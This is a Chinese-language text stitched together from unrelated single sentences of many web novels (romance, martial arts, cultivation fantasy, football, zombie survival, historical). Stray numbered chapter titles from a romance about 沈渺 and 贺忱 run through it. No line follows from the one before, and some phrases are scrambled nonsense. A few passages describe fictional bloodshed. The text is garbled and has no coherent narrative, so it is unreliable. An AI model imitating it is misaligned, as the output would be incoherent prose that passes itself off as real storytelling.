李雷之后就是晴萱,晴萱也没有避讳什么,完全就是实话实说:“我现在是萱然集团的董事长,但是我虽然是董事长,也只是再给别人打工,真正的大老板一直在幕后。”说罢,晴萱偷偷的瞄了我两眼,然后坐下了。
或许,在此时,这一家店对她来说,她根本没有打理过一天,更不知道男人是为她开的。
叶振离开公司后就去酒店那边看看。到了就直接去卓鑫的房间,他的房间和徐科和他的队友们的房间离的进,徐科他现在和他的四个队友在休息,叶振就没有去打扰了,在卓鑫那边躺着休息。
夏琳的惊呼声戛然而止,却而代之的是东方永浩的一声怒吼,以及另外一个很是刺耳也很熟悉的金属摩擦声。
苗静穿着一身校服,看样子苗静现在也是这个学校的学生了,自从我带着苗静回来,苗静就一直和碧葳住在一起,主要是我的房子里面实在是没有太多房间给苗静住了,现在大家都走了还好。
我紧紧抱住晴萱,好像怕晴萱会忽然消失不见一样,然后脸贴在晴萱的后背上点了点头。
“淡定我的安,你是想让所有人都知道吗?”苏珺脸上布满黑线。
盛好饭之后,我就迫不及待的把每个菜都品尝了一遍,虽然在口味上这的远不及那些星级饭店的厨师,不过每一种菜都充斥着那些星级厨师永远做不出来的独特的味道,那是代表着幸福的味道,充满爱的味道。
林风终于如愿以偿的亲了一下夏心妍,然后忍无可忍的拿起电话来看了一下。
“这样的话,我们就能建立自己的佣兵团了,到时候也可以在大陆游历,到处冒险了。”火舞见冷天答应,喜悦的说出了自己一直的梦想。
了然的点头,血红已经心中有数,一边却继续和自己的好徒弟欢声交谈。
不过也正因为如此,大飞才比那些一下子就瘫软过去的,一百多名壮汉体会到了更多的痛苦和折磨,而真切的体会到这种自于灵魂深处的痛苦和折磨之后,大飞也自然而然的对林风此人产生了一种自于骨子里的敬畏感。
“以我们的速度,应该只要半刻钟,到时候主人就可以把我召唤回去了”。
几天后赵军也把欢乐谷的后台码清楚了,欢乐谷的老板是个台湾人。他本人很少回来上海,欢乐谷是由一个叫钟镇海的人负责。而在欢乐谷看场子的人是安徽帮的人,那个光头柳三便是安徽帮的一个上位大哥。
在距离迈克斯后方里许的半空当中,正有着四名入玄阶武者尾随着,刚才有着一道神识扫过了冷天几人。
34.沈渺,你居然背叛贺忱!
沈渺拿出手机,当着他的面把他的号码从黑名单里放出来。
“来,加个微信。”何之洲把手机递过来。
短短几秒,沈渺拿着手机的手便已冻得发红。
她不愿多纠缠,将微信二维码打开,让何之洲扫。
何之洲扫了,申请加她为好友。
寒暄几句,穆里尼奥赶着去赛后新闻发布会,雨果这才去了切尔西的更衣室,切尔西的球员有的已经去浴室洗澡了,有的则在收拾自己的行李,德罗巴靠着自己的衣橱在喝水。
那正是先前手捧公鸡的那位,只是此刻正蜷缩在地,双手拼命捂着脖颈,鲜血前仆后继的从指缝中钻出,不停地洒落在地。
想了想,管他娘的,反正我没给钱我没作弊,普拉蒂尼真的有照顾那也不是我的事儿。
“我并不是你的奴仆,没有人可以这么命令我。”奥拉基尔身边突然刮起了狂风。
邱穆三人在电竞教室里等了许久,正到处溜达着旁观其他人的对局,终于看到李杰跟着一个戴眼镜的青年走进来,出于礼貌地,都把注意力收回,迎了过去。
“讲完了?”张昭笑着问道。王影拍了拍他道:“讲完了,该你说两句了。”对于张昭没有认真听他讲话,他丝毫不介意。
病毒爆发第三天,周围寂静的可怕,由于室外温度非常高,街道上的尸体散发出恶心难闻的味道。宋晴在房间,走道上都喷了许多空气清新剂,要不然的话,尸臭足以让几人吃不下饭。
“你应该知道我们是强队,我们也正在变成豪门,电话门过去了,我也以为联赛会相对轻松,但现实告诉我不是那么一回事,每支球队都想击败我们,这里的压力很大!我们必须得止住这样的颓势,所以……”雨果解释道。
王靳刚才坐在床上,被他坐着的地方都被电的一片焦黑,怕是整个床都不能用了。
影子人无比嚣张的说着,只是依旧没有靠近陈勃,只是在他的影子里露出头来。
如此同时,台下的大佬们,也都露出了焦急之色,而白云面色也十分难看。
且不说曲宗荣是否愿意带她回去,单凭夺剑杀人这一想法便可以断定她确实是个猪脑子。
见苏诀已经解决战斗,空空也不在藏私,天罡三十六棍全力轰出。
只不过,他之前都没敢奢望说,喝几杯酒,吃一顿饭,就能跟唐洛成为朋友。
从最开始俩个不用内力只用轻功招式过招,到这会黄姑娘苗刀上一抹新绿生机勃勃,秋儿软剑似水柔情湛蓝一片。
除了东边的密林,其它三面全是高耸的巨大岩石,岩石拦住了海水紧紧的抱拥着六间石头房子。
陆梦潇摇了摇头:“没有。”哎呀,这下怎么办呢?要不趁着这次的人情,和叶风谈判一下?
“随你的便!”程饮涅头也不抬的说道,这些都不是他所关心的。
“可是我们用龙舟的能量来采集私人物品会不会徇私枉法?”龙刺倒不是吹毛求疵的人,他只是想将每一分能量都用在刀刃上。
我见状,心中顿时生出了一股无名火!这些死尸,实在是太可恶了!就像是暗夜里的幽灵一样,神出鬼没,屡屡向我发动偷袭。
甚至不需要瘟疫爆发,仅仅是简单的河水浸泡,就让这些吸毒上脑的蚂蚁尽数死亡。
35.您放心,贺家的门……我不进!
“你少来,等我收到开除证明我自会离开,噜噜噜噜噜噜……”多乐忍不住吐了吐舌头。
其师尊轻喝了一声,双角狰狞鬼头便得到了命令,向着水晶球上的那个光点处一头扎去,直接扎入水晶球内,消失得无影无踪。
无论如何,等到原著主角一杀回来,秋家所有人,无一幸免。长得再好看,终究是要香消玉损。
章贤本想再说点什么,但隔着手机,她似乎能感受到对方的疲惫,想想也是,本以为找了个靠山,结果却发现这个靠山靠不住也就罢了,还反将一军。
这会让联动思想动荡,到时候李易出手,联动思想会一点反抗之力走没有。
还有六脉神剑,段誉侥幸炼成,而射雕时期,只有一阳指,但六脉神剑已经是传说。
以前都是她拒绝别的男孩,这次却被人拒绝了,终于尝到这种滋味真不好受。也知道自己以前毫不留情面的拒绝那些男孩,是多么的残忍。
打倒一人的瞬间,枪口就移动到了另外一人身上,将这第二人打倒。
洛鸣虽然在秋家受尽冷眼,但秋挽棠一家,自问从来没有亏待过他。他何以会说出休夫这种话?
天幕还未至,此时的天是灰蓝色,灰蓝色再继续慢慢的变成更深的颜色。但离真正的黑还需要一段时间。这段时间天光还算可见。
她并没有气馁,只是无法动弹的脚踝让她必须保持着这个看起来十分委屈的姿势。
面对着秦森的连续攻击,谢云蒙只能抵挡,不能出手,如果打倒秦森的话,那么他杀人凶手的罪名就会在其他人心中进一步坐实。
“你是说当年夜氏幸存活下来的人?是谁?”先皇的手段她是知道的,斩草除根不会留下任何祸害,当年夜君能够活下来是凤绝尘暗中帮忙,而这个活下来的人倘若没有人帮忙是不可能活下来的。
抬头看着蓝天白云,她看得有些出神,清眸眨了眨,渐渐的竟然有些一些湿润。
哪怕他就是扑上去从我的尸体上咬下一块肉,我也感觉不到了不是。这样我也算是最后帮了李毅一次,岳恒怎么说也就安全了。算是我最后能为他做的一件事。
宋正庭将办公室的门给关上,不想让别人听见他和谢雅芬的争吵。
岳恒只是问了一句关于我和何寒关系的问题,却没有直接回答我和他的关系。
“当天早上陆浩宇是最后几个到达餐厅的,他完全可以慢慢布置好现场,再下楼。”柳桥蒲的话不无道理,他说完,等待着恽夜遥发表意见。
言细辛模仿着白瑾,将白瑾这个时候有可能说的话说了出来,然后转头就想要离开。
睚眦的体型与山虎相当,斑斓威武,从它的气机来开,竟是老妖修为。
由于她精神不济,很早就沐浴更衣歇下了,却翻来覆去睡不着,索性披衣坐起。
好吧,费尔伊思德根本就不认识宁氏集团能够做主的人,根本就不知道那个宁董,方总裁什么的,长什么样子。但是他想,能够成为宁氏集团,这么大的集团做主的人,那么一定是很受人尊敬的吧。
须知,道胎境界的强者在这片地域可没有几个,而白风老怪更是这当中的佼佼者,名声很大。
不管那两人说了什么,只要这处闹剧能够暂时收场就成,她也不想成为村民们未来几天的谈资。
两边汇合之合,一商量,请令之后,便是血腥和猛烈的反攻,突围、包抄、围歼那些野兽。
李逍遥屈指轻弹,一缕劲气射在黑鹰的左翅,黑鹰顿时失去了平衡,并被这股力量轰的砸在大树上。
鲜血与断肢随处可见,无头的尸体与碎肉重叠,血腥味扑鼻冲天,半空似有许多冤魂盘旋不愿离去。
因为人多,怕引来麻烦,谢挽年等人不敢再开枪,只是在身后穷追不舍。
舒曼没有防备,被江焱这么一问,不由自主的心中一凛,抬眸间,就对上了江焱那副好似深渊一般,能够将人拉进去的黑眸。
这话震得众将士差点翻白眼,感情追了大半个东城,追的原来是夫人?
元旦照惯例放三天假,但航谦那边只给了两天,而且还是错开休息。签售会那天萧筱已经错过了一天,剩下的最后一天假期,她自然要跟墨少航待在一起。
如果高思远最后能煽动所有的股东的话,那么他那一边就会有百分之四十九的股份做为支撑,而他这一边,他和姐姐的股份加在一起也只有百分之四十六,这是一个很严重的问题,除非他能把最后百分之五的股份争取到手。
36.给你个机会,自证清白
“王大东你怎么跟总监说话的?”林萧能够容忍王大东,谢天娇可不会容忍。
一声轻响。如空谷幽兰一般。而就在那滴水飞出的一刻。滔天魔雷陷入了死寂。一滴水飞上了高空。迎上了十道魔雷。
“雷萌你来得正好,王后陛下正有一些事情要和你说呢。”卡米莉亚在那里纠结,云希希却一点都不犹豫的直接把事情挑了出来,看着卡米莉亚的脸色格外欢畅。
“你……你又是谁。”你不拽着我我退的会更远,云希希边腹诽着边控制着自己的声音,一句话抖得九拐十八弯。
李明宇略看了看这四周,觉得魏缭的办法确实可行。这里虽然只有零星的一些垃圾堆放着,但他们如果把它们集中起来的话,还是可以把这些人都完全藏起来的。
对!救出护法,就算是造反也在所不惜!刘洪话一出边有人相应了而且还越来越多。看到这结果那刘洪嘴角挂着一丝得意的笑容,尹昭天一直都在注视着刘洪所以对于的一举一动还有任何表情尹昭天都尽收眼底。
等云希希在后面不紧不慢的走进去的时候,爱莲娜已经打开了盒子冲齐凡显摆起她那盒子以对方为原型的饼干了。
凌清清眉毛挑了挑。眸光疑惑的在苏尘身上扫了扫。她总觉得此次。神风突兀降临隐宗“老巢”。应该沒那么简单。
“你,你记得我的名字?”年轻的佣兵惊喜的睁大了眼睛,嘴巴笑得几乎要裂到了耳边。
看到尹昭天这一手那人一脸的羡慕和崇拜,打了这么久都未能击败的魔人首领在尹昭天手里竟然一个回合就全部死于非命了,这让那人下定了决心以后死心塌地得跟随尹昭天了。
刁老妖惊慌地左右看看,见孙培狠瞪了他一眼,他心下更是大乱。
“是么?我怎么没尝出来,再尝尝。”管兵又把老村长那瓶一口喝干。
这个脸上有伤疤,腿有些跛的男人也一脸关切和担忧地望着她,旁边的关武死捏着拳垂着头,一副对不起全家的羞愧表情。
我说完最后一句话的时候,已经展开大黑天神翼飞到了天空之上,朝着宫殿门口飞去。
“在下百里轩昂,多谢各位刚才救命之恩!”就在此时,百里轩昂开口了。
现在我突然有点后悔了,我心想,要是刚才在金山公墓的时候,我送他一滴血,管他救谁,只要他不害我就行,那我们以后会不会井水不犯河水?
“王妃,你……”管然的语气有些震惊,他方才几乎认为自己无法活下去了,背上犹如万千只虫子在啃噬着,而心脏则像被一只手狠狠地拽着,双重的打击令他连气都喘不过来。
讲完之后,菲奥娜也没看抬头学生,而是低头收起课本,之后便准备离开教室。
“退下吧。”慕云昭摆了摆手,这样说自然是不打算追究管然的无礼了。
李子琪突然感到心里一阵刺疼,看来自己还是没有能够走进这个男人的内心深处,自己为他的付出还是没有打动他。
“我肯帮你,是因为你说了太多别人不敢说的,也不会说的。”辛西娅突然话锋一转,不再继续那个话题。
“千玉长老,安冉魔君同我都是你的晚辈,有所失礼还请长老不要怪罪安冉魔君。”黄阴魔君连忙赔罪,这千玉老儿实力如此强大,若是他真的生气,怕是在场魔道天君众多,也是拦不住他,何况这还是他们万剑山庄的地盘。
不过当这一刻真的到来时,无名的心情还是非常复杂的,因为他与这三大传承关系密切,并不单单就是萍水相逢那么简单。
他放下了剑,显了身,因失血过多,倒在了地上。我用我自制的桂花香膏涂到他的身上,是为了遮挡他身上的血腥气。随后我背着他过了河,将他带到我所居住的洞中,然后在各个出口处涂上桂花香膏。
“不想说那就算了,我本来想问问你需要什么东西,找找我身上有没有,有的话我也不介意送给你,既然你这样说,我还是不要拿着热脸去贴冷屁股了。”司徒轩歪着头,斜着眼看着夜空讪讪道。
事情妥了,众人兴致又高了起来,吃菜喝酒,欢声笑语一片。洪任辉和德雷克见章志明和黄桂伯当面行贿,不由暗叹清廷腐败。
元尘没有办法,先是以借口推脱要去外面查看,便是飞身来到自己所在的山谷。
星羽说着就和白露空开了一些距离,然后一左一后的将空羽给夹在了中间,这么一来,空羽不管是哪里,都有他们两个保护。
苍宇无极,虚界众神静静注视着平行地球上大清乾隆朝扬州颜府所发生的一切。
姬家一帮人眼睛都黑了,音后最强的地方就在于足以控制万物天下的乐曲,随意嘴吐一个音符就强大到这般地步,那么她这一曲下来众人别说会不会迷失自我,就算是命都不一定能保下来吧?
在控制黑色蜘蛛爬行的同时,天空中盘旋的黑色渡鸦似乎也接收到了主人的召唤,一个紧急的俯冲下来,拿自己锋利的嘴巴啄向主人的目标。
只是,期间有知情者前去为它现在的灵魂男人两次效忠报信,却两次惨遭恶意屠杀。
有些弟子不悦的望向方一诺,景红阳现在是和猛虎寨弟子对敌,他还在这说风凉话。
爆裂的巨响之下,土墙被溶出一个巨大的缺口被洞穿。然而所剩的余威,却未能将其击伤。
也不知就这样过了多久。外间仿佛有人拍门,又传来几句说话声。
不仅仅是背影熟悉,而且对待事情的态度和某些气质都和会长大叔很像,只是年龄看起来比会长大叔要年轻个六七岁的样子。
我眨了眨眼睛,哥哥的话没头没脑:是说相信墨棣的医术?还是相信墨棣当日对我说哥哥伤势已恢复的话呢?
37.贺忱,我们谈谈吧
“我四姨是不没了!!”镜头转换到公猫的身上时,孙麒就配了一句让全场爆笑的台词。“哈哈哈~”孙麒这台词给配的让全场观众都捧腹大笑。关键是,孙麒这台词搭配上公猫那傻愣愣又很好奇的样子简直绝配了。
“爸爸妈妈,恭喜发财祝爸爸在新的一年工作顺利身体健康:祝妈妈们在新的二年越来越漂亮。
“你回来干什么?不继续在你的收藏飞船中,继续你的收藏之旅吗?”卡丽娜甚至懒得喊一声父亲,她跟帝凡之间,可以说,没什么好说的。
而周烨就这么看着罗杰斯一点一点的变得更加沉默,但是看起来他似乎依然在坚持着……用他的一句名言就是【我可以跟你耗上一整天的时间】。从这句话里,不难看出罗杰斯的耐心跟隐忍。
看着茜茜那依依不舍离去的背影,等到她完全消失在视野中后,王铮这才转过身,原本温和的俊脸,瞬间就变得冷冽了起来。
张德帅不敢擅自做决定,一旦有事关国的异常活动,他就会马上报告给胡一舟。
这一刻,朱宏才明白天地号令旗的神奇,它不仅可以号令天地之间的能量,更能将所有能量完美的融合在一起!
“不然的话,正如你所说的那样,只要透露任何一个信息太家就都会知道我是配音界里的谁了。”孙麒还给自己抛了一个烟雾弹出来。
如果不是真的,那假扮通天的到底是谁,意欲何为?丐帮的计划有没有被他得知。
不过即便如此,被严重分裂和内耗过的逍遥,依旧是这个世界最强的组织之一,无可撼动。
“哎呀。”徐宏大叫了一声。堆缩在了地上。半晌才缓过气來。脸色已经是铁青。
金彩霞像讲故事似的,根本每当回事的就说了出来。福生和付云燕可听傻了!愣愣的看着金彩霞,不知道该怎么问才好,奶奶的!直咽唾沫。
“……”微微无语,只是瞄了他一眼,暗自沉思。她在想一个可能性,既然不能潜进去,干脆光明正大的打进去好了,反正迟早是要被南宫煜知道的。但她只怕这里面并没有轩辕颖兰,那这样做岂不是打草惊蛇?
“呃,是我,的确是我!”林家仁也够愣头青的,直接就着人家的话回答了,还倍儿耿直。
那器灵居住在古昊的灵魂之中,又怎么不可能知道他在想什么,顿时苦笑一下,轻轻的说道。
但是张华可以打败龙象谁敢来应战?所幸张华找的人并非是其他排位之人,而是虎派的人。虎派之中的百名榜人数不少,加上自己和虎派不和,不找他们的晦气找谁呢?
莲姨带着盘蛇从庭院离开后,便连夜离开了符宗,然后在距离龙虎山颇远的一座山峰上停了下来。随后,没过多久,黑袍男子也终于赶了上来。
而那些看着古昊随意的在一处地方打上几拳,挖出一个坑就取出了一颗大灵石,顿时眼热无比,一个个互相交谈道。
的确,他们两边都是三人组,邛身后的则是一个巅峰神君还有一个中级神君。花蝶身后却是两个巅峰神君,其实力都不弱。
“怎么这就走了,饭还没有吃呢,都准备好啦,要不您们吃过午饭再走吧。”二夫人上前几步,亲热的握住谢灵芸的手,一番不舍得样子。
皱眉又很不喜她对自己亲娘和妹妹的态度。很想不理会她走人,可是却又很好奇她要对自己说些什么?抬起的脚有点迟疑。
“知道了,我们这就去母亲那边吧。”但愿不是自己所想的样子,她轻皱眉头,随着秋雁往大太太的院子里走去。
天一身上还是穿着那套脏兮兮的黑色西装,里面是一件领口敞开皱巴巴的黑衬衫,他的口袋里本来就没有东西,不过在这种情况下,他还是重新翻了一遍,以防有螃蟹之类的动物爬进衣物中。
“不要。”就在叶恒东闭目等死的时候,屋子里传出一声惊呼,这声音是何玮蓉发出的,但此时,何玮蓉也被人用枪指着脑袋,拿枪的人,赫然正是李思昧。
刘备端坐在厅中,一丝懊恼很明显的写在脸上。自己年近五十,才得了这个一个儿子,如今说丢了就丢了,这让刘备心里面非常不舒服。
“因为你让我好奇,你身上有着太多太多的神秘。”远的不,就在刚才,叶无不动声色就化解掉楚方的毒,要知道楚方手里掌管着毒影门的毒堂,没几分实力是不行的。
不过顾问看事物和别人是不一样的,他可以在灯光很差的条件下,看到墙上那唯一的,且毫不起眼的一张“脸印”,就足以说明,这一路上没有什么信息能逃脱他的观察、记忆和分析。
火神的神仆,最强的能力自然是控制火焰。 面对圣骑士,火尊神仆自知没办法在正面攻击里,使用火焰打中对方,干脆用出苦肉计,想要诱骗圣骑士上当中招,却没想到还是被对方识破。
早晨的勘察就这么结束了。逆十字的三人似乎知道很多事情,但从他们的只言片语中也推测不出整件事的全貌。钢铁戒律依然是对这遗迹的真相一头雾水。
美特欧拉:“但炎虫选手也并非处于完全的劣势。以刚刚的一击来判断,黑十选手绝壁防御一般的防御和肉身恢复完全依靠魔力进行,炎虫选手的毁灭之拳能够给予他的伤害太大。
38.低贱的出身、嫁过人的事实!
轻轻两个字,从她唇瓣里吐出,宛若两颗小石子,打在贺忱的心间。
如果不是在楼下碰到靠在‘门’边的张明朗,大概我的稍微变好的心情,还能继续几秒。
陈默菡醒来的时候,天已经暗下来了,看看四周的景物,这里是她的卧室。
所以最终,萧雪还是选择了从事媒体,虽然也可能要面对各种灾难现场,但你可以选择做幕后工作。
人鱼士兵不说话还好,一说话,索杰斯就朝着他们缓缓的“走”了过去。
孙延龄租了一家离那庄子最近的民居,与四贞扮做迁居于此的少年夫妻。
“行了,别想那么多!何大少爱死不死的跟你无关,不就是昨天跟他犟了几句吗?这要是也能被入罪的话,那华夏的天空全是冤魂了!”秦凡安抚地笑道。
好在有奎托斯已经拿到了波塞冬之怒的魔法,在一阵激烈的鏖战之后,九头蛇巨大的头颅重重地摔在奎托斯的面前,再度进入子弹时间,迎来本场boss战的特定QTE。
“姐夫不会有事的吧?”姬内维亚有些担心,因为对方是纯粹的元素之体,她的领域也少见的无法奏效。
陈陌操纵着角色挖掉了一座山,把山顶挖成了平地,然后开始在上面用石头堆建筑。
萧厉微微点头,他之前已经与袁飞瀑通过话了,知晓他带来了十二位兄长,也知晓了这十二位央天域袁家老祖是专程来求见自己的。
李铭优时间有些赶,虽然现在已经十点多了,但她还是要去公司看一下。
虽然一部分较为谨慎,有惊无险的躲过了第一次的“地下突袭”但却依旧没能逃脱掉第二轮攻击,在铁砂风暴中结束它短暂的生命。
李婷婷这边也弄的狼狈不堪,不禁新穿的裙子弄脏了,脸上的淡妆也被汗水冲花了,甚至一只鞋子也跑丢了一只。
墨阳摇了摇头,询问了一下,刚刚他们有没有听到什么,可众人除了墨阳那声大叫之外,任何发现都没有,甚至是主神提出的章鱼怪都没有出来捣乱。
流觞见此情景,赶忙伸手一挥,星子剑的光芒聚合变成扇子被他拿在手里,扇来扇去的,清风拂来,算是暂时解决了火凤带来的负面影响。
原本以狼杀的战力,要对付这么多真人境大妖还是很费力的,这一下完全是依仗着出其不意,才杀死了这么多大妖。
只是,林清雪似乎在脑海中想到了什么,一双美目里流露出了几分动饶神情。
“这么说,他们之前的事情已经解决完事,纳征之后就算是正式定下婚约,等待他日直接婚娶就可以了?”忘君说道。
现场中最安静的人,除了斗场上半死不活的琪琪、慕炎,还有被封住的阿涩,就是穷奢和穷木安。
“你为什么自己不去呢?”欧德奈瑞跟了过来,他实在想不明白。
这都已经是那日大战的两天之后了,谷玥在此次大战中拔得头筹,军功彪炳。
这一想,葭月回头仔细打量着这谷玥。细细看了很久,终是瞧地发怵起来,有些不可思议之状。
39.何之洲发沈渺照片,挑衅贺忱!
沈渺呼吸紊乱,手上的动作一慌,棉棒戳到何之洲嘴里。
“嘶~呸呸呸!”
何之洲丢下药盒,弯腰到垃圾桶里淬了几口。
沈渺迅速把药盒放到口袋里,起身倒了一杯水过来,“抱歉我不是故意的,你漱漱口。”
这时,阿宽阿秀他们这些人也赶了过来,正好听到了龙煦和阿凡的对话。
他搞不搞赐名没关系,他搞的赐名把这边的海族搞乱了,自己的礁城也得乱起来。
另一边,在离开空木博士的研究所后,帮助完空木博士狩猎众多逃散精灵的水晶,来到了一座十分破败的精灵救治所。
沈怀倾回到餐桌前,看着碗里诱人的粥,她的确是有点饿了,晚上在杂志社都没怎么吃东西。
这一次,在有了多重应对手段之后,白令跟半个月前的他已经大不相同。
旁观的清风,看得一清二楚,裘甜仅仅眨眼间便放倒了珂嬷嬷,她看着裘甜,裘甜冲她笑了一下。
雨林的地面有点儿微湿,不过因为地上有杂草什么的,所以走起来,应该也不至于地面下陷或地面太泥泞了。
越馨怡听着宇翔的话,不知道该如何应答,只能选择最稳妥的处理方式。
就像是她说的一样,除非白令将事情给解决、并且证据确凿的给她看,不然她不可能透露哪怕一个字——无论他是严刑拷打还是威逼利诱。
当炽热的意念与滚烫的躯体推动到极限,便能无中生有唤醒体内【水】的力量!
唐武和周好好每到一个新球场,两人都会以足球场为背景拍一张合照。
“不用客气。如果夏知君能够喜欢的话,我也会很开心的。”她笑着向服务员点了一份蛋糕和一杯价值八百日元的夏知连叫啥都不知道的咖啡。
就在唐武一边横向移动一边扭头盯球时,视线突然被一红一黄两个身体挡住。
魔纹乃是不弱霸纹的强大灵纹,自己若能学会,不仅对本体战斗力有巨大提升。
之前凝重的气氛似乎一下子荡然无存,三人嘴角都浮现一抹笑意。
几人一阵寒暄过后,便开始进入正题,由高少明中校开始主持发言。
“嘿,队长,没关系的,你要相信我!”詹俊看着屏幕中拍着杰拉德肩膀的唐武,对着口型给国球迷“翻译”道。
“老大,你看,卢老师这里,还有什么需要搜查的吗?”看到卢一帆和卢长风似乎有要和解的迹象,梁凡歆赶紧的对他问道。
宁拂尘用神识覆盖这株曼陀罗古树,想与之交流,却得不到回应,只好作罢。
林大师横空出世,干出许多惊天大事,都已经惊的他们,开始怀疑人生了。
“那就要靠人救了,只要你认识可以捞出你的人,那就什么都不是个事。”那犯人摆摆手说道。
修行到卡卡西这个程度,只是一瞬间借助六门之力,身体并不会遭受多大的损失。
怎么离开这儿大鲲的肚子?自然是破腹而出了!如此大鲲肯定不能留,日后这东西指不定会害死多少人。
“既然四妹妹身子不好,现在过来,可是好了?”呵呵,就算自己不能来,难道还不能遣了丫头来慰问一二?
林凡不服了,这家伙太得寸进尺了,原本不想理睬,也就算了,可哪能想到这家伙竟然跟自己叫板叫上了,不能忍,完全不能忍。
40.贺忱:你跟我单独出差
“于公于私,沈渺都只是个秘书,一个秘书让你们如此大费周章,到底是谁给谁灌了迷魂汤。”
贺忱双眸深邃如古井,平静下是暗涌的波澜,“公司搅得一团糟,整个贺家都不安宁。”
从天亮走到天黑,这片森林还看不到尽头,让易天行有点崩溃,还好沿路上采了点草药和果子,能保证一两天不会挨饿还能赚几十两银子,他内心就舒坦了些。
“姑娘可知晓来你这里的那位邪修的下落,我怕此人做出什么丧心病狂的事情,危害到城中的百姓。”叶连城开口说道。
堂堂金丹境,证道成仙的大妖,竟然让一个凝丹境的半仙,在自己面前蹦跶这么久,甚至它的拳面上,已经隐隐有一抹血线浮现,淡淡的血腥味更如绝美之味,刺激它的心神。
爱是燃烧而看不见的火,是疼痛而感觉不到的伤,是不能满足的满足,是无痛而又痛彻心扉的痛楚。
他们在商业街转了一大圈,买了不少东西,心情也都变得不错起来。
咦?听着他的语气,似乎是没有发现自己在黑市做的事情,那他到底是为何来找我呢?叶连城的心中疑惑不已。
此时,同学们从最开始的怀疑不屑,到后来的惊讶、难以置信,再到最后殷切希望王丰能够完成这个题目,实现最后免除一个学期的家庭作业,仅仅用了不到十分钟的时间。
想到这里,她再好好想了想整个事件的关键点,然后才给曲渊发了个信息。这个时候,她需要曲渊的支持,只是赵政要撤资的事情她依旧没讲。
直至云替道看不下去,抬手就将易天行抱起,少年这才抑制不住亢奋的心,颤抖着双腿放声大喊。
起初流入鼎内的血液如扶桑花般艳红,但待到鲜血逐渐增多,深红变成了暗红,像是滴入了些许墨水。
周承宽还有一件更头疼的事情,那就是上官云。他要如何解释周天启和林宛,以及陆曼婷之间的关系呢?又要如何解释,自己不是周天启,更不可能和陆曼婷有任何联系呢?还有陆曼仪的事情,是否需要和上官云说清楚呢?
苏慕白刹不住脚,整个撞在了朱熙的身上,带着她一起扑了出去。
这也是为什么他们会被投递到宇宙中,各个时空,寻找有生命的星球,进行各种融合课题和试验的原因。
这练气期九层是属于练气期后期了,这后期和中期确实有着巨大的差距,墨白感觉自己的灵力最少比原先涨大两倍多,那封闭起来的密室石门都被墨白一掌给震的粉碎。
林宛冷冷地看着这一切,不急不燥,静静地等待着对方的首领现身。
“她是我母妃,你是谁?”玄喆挤到我们中间,拿出皇子的威风向从嘉道。
保元似想与我说话,可我见着他便心中有气,佯装不知转身领了燕子去后院看她上次种的瓜果。
碧丝卡意识到鸣人和海澜蒂亚的关系,自己再加进来岂不是给他们当电灯泡吗?
“爱妃所言甚是。”保元举杯起身,率众跪敬太后,太后含笑满饮杯中酒,伸手将我二人扶起。
只能说固定的思维令得无双她们固执的认为,夫人肯定是要比大公子强的。
41.他把我当什么不重要
影子的手穿透丰屹的右胸,从他的肩胛骨下方穿出来,幸亏这不是现实世界,如果是现实世界,丰屹肯定完蛋了。
匹量逗舍持更定量这也是一个非常利好结果。为他将来凝炼更加深厚的真元打下了坚实的基础。
那次虽然龙威没有吃到什么亏,但他也不想把时间浪费在这些事情上。
夜凌也是有些吃惊,这家伙就像是凭空消散一般,竟是在瞬间踏出。
既然有人惦记自己的财富,老龙哪里还有这种局外人的心思,反而比岳川还热切,说了两句就急匆匆的去集合族人,挑选武力了。
只是如果这种不平衡的贸易不作出改变,累积在各国头上的债务会越来越多,最终会成为一个绳索,牢牢的将各国脖子套住,到那时,才是大明真正可以对欧洲诸国予取予求之时。
冯雪跟变魔术似的一伸手,从手心里面跳出一张名片,跟她给我的那张一模一样。
而天镜面对这强大的暴动,那毁天灭地之势汹涌的将其吞噬,法杖还握在手中,只是上面的光芒越来越弱,直到消散,随后身影便是如同断了线的风筝倒飞而出。
噶尔丹迷惑不解,自己的怯薛都派出去了,难道连明军半刻进攻也抵挡不住吗。
但是她没有,雪舞不认为敌人看不出这个机会,唯一的解释就是她不会,这就说明,她的冰封陵墓是现学现卖,因为无处可躲,不得不使用这个从没有使用过的魔法来自保。
眼见着凌司淡着面色走出视野,步伐稳健却无比迅速,总给人一种落荒而逃的错觉。
扫把星完全对的起自己的名字,不对,用扫把星为名,简直是对不起扫把星,得在前方加一个无敌二字。
因为长安周边实在是破败不堪,瘟疫横行,已经没有什么活人了。
然后掉在了一个厂房上,眼看就要砸到厂房天花板的时候,那天花板上开了一个出入口。
仅仅是看了那些如获至宝的魔法师们一眼,阿尔托莉雅便将注意力转移到其他地方。
不同于蒙人的五大三粗,也不像大多数汉人那般赢弱瘦削,周秦川经过几个月不间断地磨练,如今肩宽腰细,腹部的几块腹肌棱角分明。
正在众人以为他们会在一起的时候,君娴却毅然决然的选择了校内另一位风云人物,许慕司。
众人之中,数秦博对草原的规矩最为熟悉,秦琪虽然与她这位大兄一起长大,但向来不理会琐碎之事,自然也不懂什么规矩,只能唯其马首是瞻。
现在想一想那个地方,都觉得让人惊悚无比,差点就死在了那里。
“因为……”掌柜不算太势利只是耶律云现在的名气太响第一次接待他不知他地脾气所以想尽量招待周到一些以免惹来麻烦。
至于吴剑手上的卡纳约翰则是一脸的恐惧,早已经没有了刚才的傲然,现在他可是非常害怕。。。
大刀一挺,已然欺身上来,长刀挟着猛烈的气势,向曲单猛然劈下。
老板:因为你做事没有条理性,所以才会整天忙,公司要你何用?
唐通大喜,为了表功,当即派人把自己已经接防山海关和吴三桂启程的日禀报给李自成。
“皇上,真的不用派人前去吗?”凌霄出声,心却不胜担忧,元清皇后放在地下冰窖之,他们大肆搜查汴京城的冰窖,那里自然不会放过,可是如果让元清皇后的身体受到伤害,那可如何是好?
“既然你已经到了,朕就在山上恭候你的大驾!”楼暗尘朝他的背影说道,转身便朝山上而去,反正他是要带人上山的,这时候他就懒得跟他抢了。
她一边说着,一边过来拉李自成的手。忽见他看自己的表情也十分怪异。
陈演长嘘了一口气,原来皇上另有人选,不是自己。接下来大学士范景出列请命,崇祯以范景兼领工部,要负责监督军械等打造为由不许。
血腥气息,引起了山谷中所有剑龙兽的注意,朝着这边冲了过来。
大约二十几秒后,漆黑的城区中突然同时闪烁出三道百米余长、分布在不同方位,由枪口火光拼凑出的光的曲线,而大约五六秒后,随着一阵嘈杂的枪声传到蒋成杰的耳朵里,宏川再一次融入了夜色之中。
属于木高峰的魂球突然炸开,将守护这里的一位长老吓了一跳,当他看到属于第三位的魂球裂开时,顿时吓出了一身冷汗,连忙去禀报。
